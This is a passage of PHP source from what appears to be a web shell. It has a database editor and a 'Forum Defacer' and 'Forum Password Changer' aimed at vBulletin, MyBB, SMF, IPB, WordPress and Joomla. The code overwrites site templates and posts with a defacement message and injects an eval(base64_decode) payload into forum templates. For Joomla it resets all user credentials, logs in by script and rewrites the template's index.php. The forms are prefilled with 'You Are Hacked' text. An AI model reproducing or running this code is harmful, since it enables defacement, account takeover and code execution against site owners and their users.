  3469.                 echo "<option>USER\n";
  3470.                 echo "<option>WEEKDAY\n";
  3471.                 echo "<option>RAND\n";
  3472.                 echo "</select>\n";
  3473.                 echo "</td>\n";
  3474.                 $value = htmlspecialchars($data[$i]);
  3475.                 $type = strtok( $fieldtype, " (,)\n" );
  3476.                 if( $type == "enum" || $type == "set" )
  3477.                 {
  3478.                     echo "<td>\n";
  3479.                     if( $type == "enum" )
  3480.                         echo "<select name=$fieldname class=box>\n";
  3481.                     else if( $type == "set" )
  3482.                         echo "<select name=$fieldname size=4 class=box multiple>\n";
  3483.                     while( $str = strtok( "'" ) )
  3484.                     {
  3485.                         if( $value == $str )
  3486.                             echo "<option selected>$str\n";
  3487.                         else
  3488.                             echo "<option>$str\n";
  3489.                         strtok( "'" );
  3490.                     }
  3491.                     echo "</select>\n";
  3492.                     echo "</td>\n";
  3493.                     }
  3494.                     else
  3495.                     {
  3496.                         if( $len < 40 )
  3497.                             echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\" class=box></td>\n";
  3498.                         else
  3499.                             echo "<td><textarea cols=47 rows=3 maxlength=$len name=$fieldname class=box>$value</textarea>\n";
  3500.                     }
  3501.                 echo "</tr>";
  3502.             }
  3503.             echo "</table><p>\n";
  3504.             echo "<input type=submit value='Edit Data' class=but>\n";
  3505.             echo "<input type=button value='Cancel' onClick='history.back()' class=but>\n";
  3506.             echo "</form>\n";
  3507.         }
  3508.     }
  3509.  
  3510.     // Edit Submit Table Data
  3511.     else if($_REQUEST['action'] == "editsubmitData")
  3512.     {
  3513.             $dbserver = $_COOKIE["dbserver"];
  3514.             $dbuser = $_COOKIE["dbuser"];
  3515.             $dbpass = $_COOKIE["dbpass"];
  3516.             $dbname = $_POST['dbname'];
  3517.             $tablename = $_POST['tablename'];
  3518.            
  3519.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3520.             mysql_select_db($dbname);
  3521.            
  3522.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3523.             $row = mysql_fetch_array($sql);
  3524.             $row = $row['COLUMN_NAME'];
  3525.             $rowid = $_POST[$row];
  3526.            
  3527.             $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  3528.             $num = mysql_num_rows( $pResult );
  3529.            
  3530.             $rowcount = $num;
  3531.                        
  3532.             $pResultLen = mysql_list_fields( $dbname, $tablename );
  3533.        
  3534.            
  3535.                        
  3536.             for( $i = 0; $i < $num; $i++ )
  3537.             {
  3538.                 $field = mysql_fetch_array( $pResult );
  3539.                 $fieldname = $field["Field"];
  3540.                 $arrdata = $_REQUEST[$fieldname];
  3541.                        
  3542.                
  3543.                 $str .= " " . $fieldname . " = '" . $arrdata . "'";
  3544.                 $rowcount--;
  3545.                 if($rowcount != 0)
  3546.                     $str .= ",";
  3547.             }
  3548.            
  3549.             $str = "update $tablename set" . $str . " where $row=$rowid";
  3550.             mysql_query($str);
  3551.             header("Location:$self?action=viewdata&dbname=$dbname&tablename=$tablename");
  3552.     }
  3553.     else if(isset($_GET['logoutdb']))
  3554.     {
  3555.         setcookie("dbserver",time() - 60*60);
  3556.         setcookie("dbuser",time() - 60*60);
  3557.         setcookie("dbpass",time() - 60*60);
  3558.         header("Location:$self?database");
  3559.     }
  3560.            
  3561.     // Forum Manager
  3562.     else if(isset($_REQUEST["forum"]))
  3563.     { ?>
  3564.         <center><table><tr><td><a href="<?php echo $self; ?>?forum&defaceforum">| Forum Defacer |</a></td>
  3565.         <td><a href="<?php echo $self; ?>?forum&passwordchange">| Forum Password Changer |</a></td>
  3566.         </tr></table></center><br>
  3567.         <?php
  3568.         if(isset($_REQUEST["defaceforum"]))
  3569.         {
  3570.             // Deface Forums
  3571.             if(isset($_POST['forumdeface']))
  3572.             {
  3573.                 if($_POST['forumdeface'] == "Hack VB")
  3574.                 {
  3575.                     $localhost =  $_POST['f1'];
  3576.                     $database =  $_POST['f2'];
  3577.                     $username =  $_POST['f3'];
  3578.                     $password =  $_POST['f4'];
  3579.                     $index    =  $_POST['index'];
  3580.                     $prefix    =  $_POST['prefix'];
  3581.  
  3582.                         $con =@ mysql_connect($localhost,$username,$password);
  3583.                         $db =@ mysql_select_db($database,$con);  
  3584.                         $index=str_replace('"','\\"',$index);
  3585.                         $attack  = "{\${eval(base64_decode(\'";
  3586.                         $attack .= base64_encode("echo \"$index\";");
  3587.                         $attack .= "\'))}}{\${exit()}}</textarea>";
  3588.                         if($prefix == "" || $prefix == null)
  3589.                             $query = "UPDATE template SET template = '$attack'";
  3590.                         else
  3591.                             $query = "UPDATE ".$prefix."template SET template = '$attack'";
  3592.                         $result =@ mysql_query($query,$con);
  3593.                         if($result)
  3594.                         {
  3595.                             echo "<center><font size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
  3596.                         }
  3597.                         else
  3598.                         {
  3599.                             echo "<center><font class=txt size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
  3600.                         }
  3601.                 }
  3602.                 else if($_POST['forumdeface'] == "Hack MyBB")
  3603.                 {
  3604.                     $localhost =  $_POST['f1'];
  3605.                     $database =  $_POST['f2'];
  3606.                     $username =  $_POST['f3'];
  3607.                     $password =  $_POST['f4'];
  3608.                     $index    =  $_POST['index'];
  3609.                     $prefix    =  $_POST['prefix'];
  3610.                    
  3611.                         $con =@ mysql_connect($localhost,$username,$password);
  3612.                         $db =@ mysql_select_db($database,$con);  
  3613.                         $attack  = "{\${eval(base64_decode(\'";
  3614.                         $attack .= base64_encode("echo \"$index\";");
  3615.                         $attack .= "\'))}}{\${exit()}}</textarea>";
  3616.                         $attack  = str_replace('"',"\\'",$attack);
  3617.                    
  3618.                         if($prefix == "" || $prefix == null)
  3619.                             $query = "UPDATE mybb_templates SET template = '$attack'";
  3620.                         else
  3621.                             $query = "UPDATE ".$prefix."templates SET template = '$attack'";
  3622.                         $result =@ mysql_query($query,$con);
  3623.                         if($result)
  3624.                         {
  3625.                             echo "<center><font size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
  3626.                         }
  3627.                         else
  3628.                         {
  3629.                             echo "<center><font class=txt size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
  3630.                         }
  3631.                 }
  3632.                 else if($_POST['forumdeface'] == "Hack SMF")
  3633.                 {
  3634.                     $localhost =  $_POST['f1'];
  3635.                     $database =  $_POST['f2'];
  3636.                     $username =  $_POST['f3'];
  3637.                     $password =  $_POST['f4'];
  3638.                     $index    =  $_POST['index'];
  3639.                     $head    =  $_POST['head'];
  3640.                     $catid    =  $_POST['f5'];
  3641.                     $prefix    =  $_POST['prefix'];
  3642.                    
  3643.                         $con =@ mysql_connect($localhost,$username,$password);
  3644.                         $db =@ mysql_select_db($database,$con);  
  3645.                         if($prefix == "" || $prefix == null)
  3646.                             $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
  3647.                         else
  3648.                             $query = "UPDATE ".$prefix."boards SET name='$head', description='$index' WHERE id_cat='$catid'";
  3649.                         $result =@ mysql_query($query,$con);
  3650.                         if($result)
  3651.                         {
  3652.                             echo "<center><font size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
  3653.                         }
  3654.                         else
  3655.                         {
  3656.                             echo "<center><font class=txt size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
  3657.                         }
  3658.                 }
  3659.                 else if($_POST['forumdeface'] == "Hack IPB")
  3660.                 {
  3661.                     $localhost =  $_POST['f1'];
  3662.                     $database =  $_POST['f2'];
  3663.                     $username =  $_POST['f3'];
  3664.                     $password =  $_POST['f4'];
  3665.                     $index    =  $_POST['index'];
  3666.                     $head    =  $_POST['head'];
  3667.                     $catid    =  $_POST['f5'];
  3668.                    
  3669.                         $IPB = "forums";
  3670.                         $con =@ mysql_connect($localhost,$username,$password);
  3671.                         $db =@ mysql_select_db($database,$con);  
  3672.                         $query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'";
  3673.                         $result =@ mysql_query($query,$con);
  3674.                         if($result)
  3675.                         {
  3676.                             echo "<center><font size=4><blink>Forum Defaced Successfully</blink></font></center>";
  3677.                         }
  3678.                         else
  3679.                         {
  3680.                             echo "<center><font class=txt size=4><blink>Cannot Deface Forum</blink></font></center>";
  3681.                         }
  3682.                 }
  3683.                 else if($_POST['forumdeface'] == "Hack wordpress")
  3684.                 {
  3685.                     $localhost =  $_POST['f1'];
  3686.                     $database =  $_POST['f2'];
  3687.                     $username =  $_POST['f3'];
  3688.                     $password =  $_POST['f4'];
  3689.                     $catid = $_POST['f5'];
  3690.                     $index    =  $_POST['index'];
  3691.                     $head    =  $_POST['head'];
  3692.                     $prefix    =  $_POST['prefix'];
  3693.                    
  3694.                         $con =@ mysql_connect($localhost,$username,$password);
  3695.                         $db =@ mysql_select_db($database,$con);  
  3696.                         if($prefix == "" || $prefix == null)
  3697.                         {
  3698.                             if(isset($_POST["all"]) && $_POST["all"] == "All")
  3699.                                 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index'";
  3700.                             else
  3701.                                 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
  3702.                         }
  3703.                         else
  3704.                         {
  3705.                             if(isset($_POST["all"]) && $_POST["all"] == "All")
  3706.                                 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index'";
  3707.                             else
  3708.                                 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
  3709.                            
  3710.                         }
  3711.                         $result =@ mysql_query($query,$con);
  3712.                         if($result)
  3713.                         {
  3714.                             echo "<center><font size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
  3715.                         }
  3716.                         else
  3717.                         {
  3718.                             echo "<center><font class=txt size=4><blink>Cannot Deface Wordpress</blink></font></center>";
  3719.                         }
  3720.                 }
  3721.                 else if($_POST['forumdeface'] == "Hack Joomla")
  3722.                 {
  3723.                     $localhost =  $_POST['f1'];
  3724.                     $dbname =  $_POST['f2'];
  3725.                     $username =  $_POST['f3'];
  3726.                     $password =  $_POST['f4'];
  3727.                     $dbprefix =  $_POST['prefix'];
  3728.                     $site_url = $_POST['siteurl'];
  3729.                     $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['index']))))."'))); exit; ?>";
  3730.  
  3731.                     $co=randomt();
  3732.                    
  3733.                     $link=mysql_connect("localhost",$username,$password) ;
  3734.  
  3735.                     mysql_select_db($dbname,$link);
  3736.                
  3737.                     $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
  3738.                                              
  3739.                     $req =mysql_query("SELECT * from  `".$dbprefix."extensions` ");
  3740.                          
  3741.                     if ( $req )
  3742.                     {
  3743.                         $req =mysql_query("SELECT * from  `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
  3744.                         $data = mysql_fetch_array($req);
  3745.                         $template_name=$data["template"];
  3746.                        
  3747.                         $req =mysql_query("SELECT * from  `".$dbprefix."extensions` WHERE name='".$template_name."'");
  3748.                              $data = mysql_fetch_array($req);
  3749.                         $template_id=$data["extension_id"];
  3750.                        
  3751.                         $url2=$site_url."/index.php";
  3752.                        
  3753.                         $ch = curl_init();
  3754.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3755.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3756.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3757.                         curl_setopt($ch, CURLOPT_HEADER, 1);
  3758.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3759.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3760.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3761.                
  3762.                
  3763.                         $buffer = curl_exec($ch);
  3764.                        
  3765.                         $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
  3766.                         $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
  3767.                
  3768.                
  3769.                         $url2=$site_url."/index.php";
  3770.                         $ch = curl_init();
  3771.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3772.                         curl_setopt($ch, CURLOPT_POST, 1);
  3773.                         curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
  3774.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3775.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3776.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3777.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3778.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3779.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3780.                         $buffer = curl_exec($ch);
  3781.                        
  3782.                         $pos = strpos($buffer,"com_config");
  3783.                         if($pos === false)
  3784.                         {
  3785.                             echo("<br>[-] Login Error");
  3786.                             exit;
  3787.                         }
  3788.                                        
  3789.                         $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
  3790.                         $ch = curl_init();
  3791.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3792.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3793.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3794.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3795.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3796.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3797.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3798.                         $buffer = curl_exec($ch);
  3799.                
  3800.                         $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
  3801.                         if(!$hidden2)
  3802.                         {
  3803.                             echo("<br>[-] index.php Not found in Theme Editor");
  3804.                             exit;
  3805.                         }
  3806.                        
  3807.                         $url2=$site_url."/index.php?option=com_templates&layout=edit";
  3808.                        
  3809.                         $ch = curl_init();
  3810.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3811.                         curl_setopt($ch, CURLOPT_POST, 1);
  3812.                         curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
  3813.                        
  3814.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3815.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3816.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3817.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3818.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3819.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3820.                         $buffer = curl_exec($ch);
  3821.                
  3822.                         $pos = strpos($buffer,'<dd class="message message">');
  3823.                         if($pos === false)
  3824.                         {
  3825.                             echo("<center><font class=txt size=4><blink>Cannot Deface Joomla</blink></font></center>");
  3826.                            
  3827.                         }
  3828.                         else
  3829.                         {
  3830.                             echo("<center><font size=4><blink>Joomla Defaced Successfully</blink></font></center>");
  3831.                         }
  3832.                        
  3833.                     }
  3834.                     else
  3835.                     {
  3836.                         $req =mysql_query("SELECT * from  `".$dbprefix."templates_menu` WHERE client_id='0'");
  3837.                         $data = mysql_fetch_array($req);
  3838.                         $template_name=$data["template"];
  3839.                        
  3840.                         $url2=$site_url."/index.php";
  3841.                         $ch = curl_init();
  3842.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3843.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3844.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3845.                         curl_setopt($ch, CURLOPT_HEADER, 1);
  3846.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3847.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3848.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3849.                         $buffer = curl_exec($ch);
  3850.                        
  3851.                         $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
  3852.                        
  3853.                         $url2=$site_url."/index.php";
  3854.                         $ch = curl_init();
  3855.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3856.                         curl_setopt($ch, CURLOPT_POST, 1);
  3857.                         curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
  3858.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3859.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3860.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3861.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3862.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3863.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3864.                         $buffer = curl_exec($ch);
  3865.                        
  3866.                         $pos = strpos($buffer,"com_config");
  3867.                
  3868.                         if($pos === false)
  3869.                         {
  3870.                             echo("<br>[-] Login Error");
  3871.                             exit;
  3872.                         }
  3873.                                        
  3874.                         $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
  3875.                         $ch = curl_init();
  3876.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3877.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3878.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3879.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3880.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3881.                             curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3882.                             curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3883.                         $buffer = curl_exec($ch);
  3884.                        
  3885.                         $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
  3886.                        
  3887.                         if(!$hidden2)
  3888.                         {
  3889.                             echo("<br>[-] index.php Not found in Theme Editor");
  3890.                         }
  3891.                
  3892.                         $url2=$site_url."/index.php?option=com_templates&layout=edit";
  3893.                         $ch = curl_init();
  3894.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3895.                         curl_setopt($ch, CURLOPT_POST, 1);
  3896.                         curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
  3897.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3898.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3899.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3900.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3901.                             curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3902.                             curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3903.                         $buffer = curl_exec($ch);
  3904.                        
  3905.                         $pos = strpos($buffer,'<dd class="message message fade">');
  3906.                         if($pos === false)
  3907.                         {
  3908.                             echo("<center><font class=txt size=4><blink>Cannot Deface Joomla</blink></font></center>");
  3909.                             exit;
  3910.                         }
  3911.                         else
  3912.                         {
  3913.                             echo("<center><font size=4><blink>Joomla Defaced Successfully</blink></font></center>");
  3914.                         }
  3915.                     }
  3916.                 }
  3917.             }
  3918.         ?>
  3919.         <center>
  3920.             <font class="tblheads" size="4">Vbulletin Forum Index Changer</font>
  3921.             <form action="<?php echo $self; ?>" method = "POST">
  3922.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  3923.                 <tr>
  3924.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3925.                 <p>
  3926.                     Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  3927.                 </p>
  3928.                 </tr>
  3929.                 <tr>
  3930.                     <td height="167" width="780"><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8>lol ! You Are Hacked !!!!</textarea><p align="center"><input type = "submit" class="but" value = "Hack VB" name="forumdeface"></td>
  3931.                 </tr>
  3932.             </table>
  3933.             </form>
  3934.            
  3935.             <font class="tblheads" size="4">MyBB Forum Index Changer</font>
  3936.             <form action="<?php echo $self; ?>" method = "POST">
  3937.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  3938.                 <tr>
  3939.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3940.                     <p>
  3941.                         Table Prefix : <input type="text" name="prefix" value="mybb_" class="sbox"> (Optional)</td>
  3942.                     </p>   
  3943.                     </td>
  3944.                 </tr>
  3945.                 <tr>
  3946.                     <td height="167" width="780"><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8>lol ! You Are Hacked !!!!</textarea><p align="center"><input type = "submit" class="but" value = "Hack MyBB" name="forumdeface"></td>
  3947.                 </tr>
  3948.             </table>
  3949.             </form>
  3950.            
  3951.             <font class="tblheads" size="4">SMF Forum Index Changer</font>
  3952.             <form action="<?php echo $self; ?>" method = "POST">
  3953.             <input type="hidden" name="forum">
  3954.             <input type="hidden" name="defaceforum">
  3955.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  3956.                 <tr>
  3957.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3958.                     <p>
  3959.                         Table Prefix : <input type="text" name="prefix" value="smf_" class="sbox"> (Optional)</td>
  3960.                     </p>
  3961.                     </td>
  3962.                 </tr>
  3963.                 <tr>
  3964.                     <td height="105" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1"></p><p align="center"><textarea name="index" rows="8" cols="53" class="box"><b>lol ! You Are Hacked !!!!</b></textarea></p><input type = "submit" class="but" value = "Hack SMF" name="forumdeface"></p></td>
  3965.                    
  3966.                 </tr>
  3967.             </table>
  3968.             </form>
  3969.            
  3970.             <font class="tblheads" size="4">IPB Forum Index Changer</font>
  3971.             <form action="<?php echo $self; ?>" method = "POST">
  3972.             <input type="hidden" name="forum">
  3973.             <input type="hidden" name="defaceforum">
  3974.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  3975.                 <tr>
  3976.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20"></td>
  3977.                 </tr>
  3978.                 <tr>
  3979.                     <td height="167" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1"></p><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center"><input type = "submit" class="but" value = "Hack IPB" name="forumdeface"></td>
  3980.                 </tr>
  3981.             </table>
  3982.             </form>    
  3983.            
  3984.             <font class="tblheads" size="4">Wordpress Index Changer</font>
  3985.             <form action="<?php echo $self; ?>" method = "POST">
  3986.             <input type="hidden" name="forum">
  3987.             <input type="hidden" name="defaceforum">
  3988.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  3989.                 <tr>
  3990.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3991.                     <p>
  3992.                         Table Prefix : <input type="text" name="prefix" value="wp_" class="sbox"> (Optional)</td>
  3993.                     </p>
  3994.                     </td>
  3995.                 </tr>
  3996.                 <tr>
  3997.                     <td height="105" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">&nbsp;<label><input type="checkbox" name="all" value="All" checked="checked"> All</label><p align="center"><textarea class="box" name="index" rows="8" cols="53"><b>lol ! You Are Hacked !!!!</b></textarea></p>
  3998.                     <br><input type = "submit" class="but" value = "Hack wordpress" name="forumdeface"></td>
  3999.                    
  4000.                 </tr>
  4001.             </table>
  4002.             </form>
  4003.             <font class="tblheads" size="4">Joomla Index Changer</font>
  4004.             <form action="<?php echo $self; ?>" method = "POST">
  4005.             <input type="hidden" name="forum">
  4006.             <input type="hidden" name="defaceforum">
  4007.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  4008.                 <tr>
  4009.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4010.                     <p>
  4011.                         Table Prefix : <input type="text" name="prefix" value="jos_" class="sbox"> (Optional)</td>
  4012.                     </p>
  4013.                     </td>
  4014.                 </tr>
  4015.                 <tr>
  4016.                     <td height="105" width="780"><p align="center"><b>Site Url : </b><input class="box" type="text" name="siteurl" width="80" value="http://site.com/administrator/"><p align="center"><textarea class="box" name="index" rows="8" cols="53"><b>lol ! You Are Hacked !!!!</b></textarea></p>
  4017.                     <br><input type = "submit" class="but" value = "Hack Joomla" name="forumdeface"></td>
  4018.                    
  4019.                 </tr>
  4020.             </table>
  4021.             </form>
  4022.         </center>  
  4023.     <?php
  4024.         }
  4025.         else if(isset($_GET["passwordchange"]))
  4026.         {
  4027.             echo "<center>";
  4028.             if(isset($_GET['changed']))
  4029.             {   ?><font class="txt"><blink>Password Changed Successfully</blink></font><br><br><?php }
  4030.             else if(isset($_GET['cannotchange']))
  4031.             {   ?><blink>Cannot Change Password</blink><br><br> <?php } ?>
  4032.            
  4033.             <font class="tblheads" size="4">Vbulletin Forum Password Changer</font>
  4034.             <form action="<?php echo $self; ?>" method = "POST">
  4035.             <input type="hidden"  name="forums" value="vb">
  4036.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4037.                 <tr>
  4038.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4039.                 <p>
  4040.                     Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  4041.                 </p>
  4042.                 </tr>
  4043.                 <tr>
  4044.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4045.                 </tr>
  4046.             </table>
  4047.             </form>
  4048.            
  4049.             <font class="tblheads" size="4">MyBB Forum Password Changer</font>
  4050.             <form action="<?php echo $self; ?>" method = "POST" name="mybb">
  4051.             <input type="hidden"  name="forums" value="mybb">
  4052.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4053.                 <tr>
  4054.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4055.                 <p>
  4056.                     Table Prefix : <input type="text" name="prefix" value="mybb_" class="sbox"> (Optional)</td>
  4057.                 </p>
  4058.                 </tr>
  4059.                 <tr>
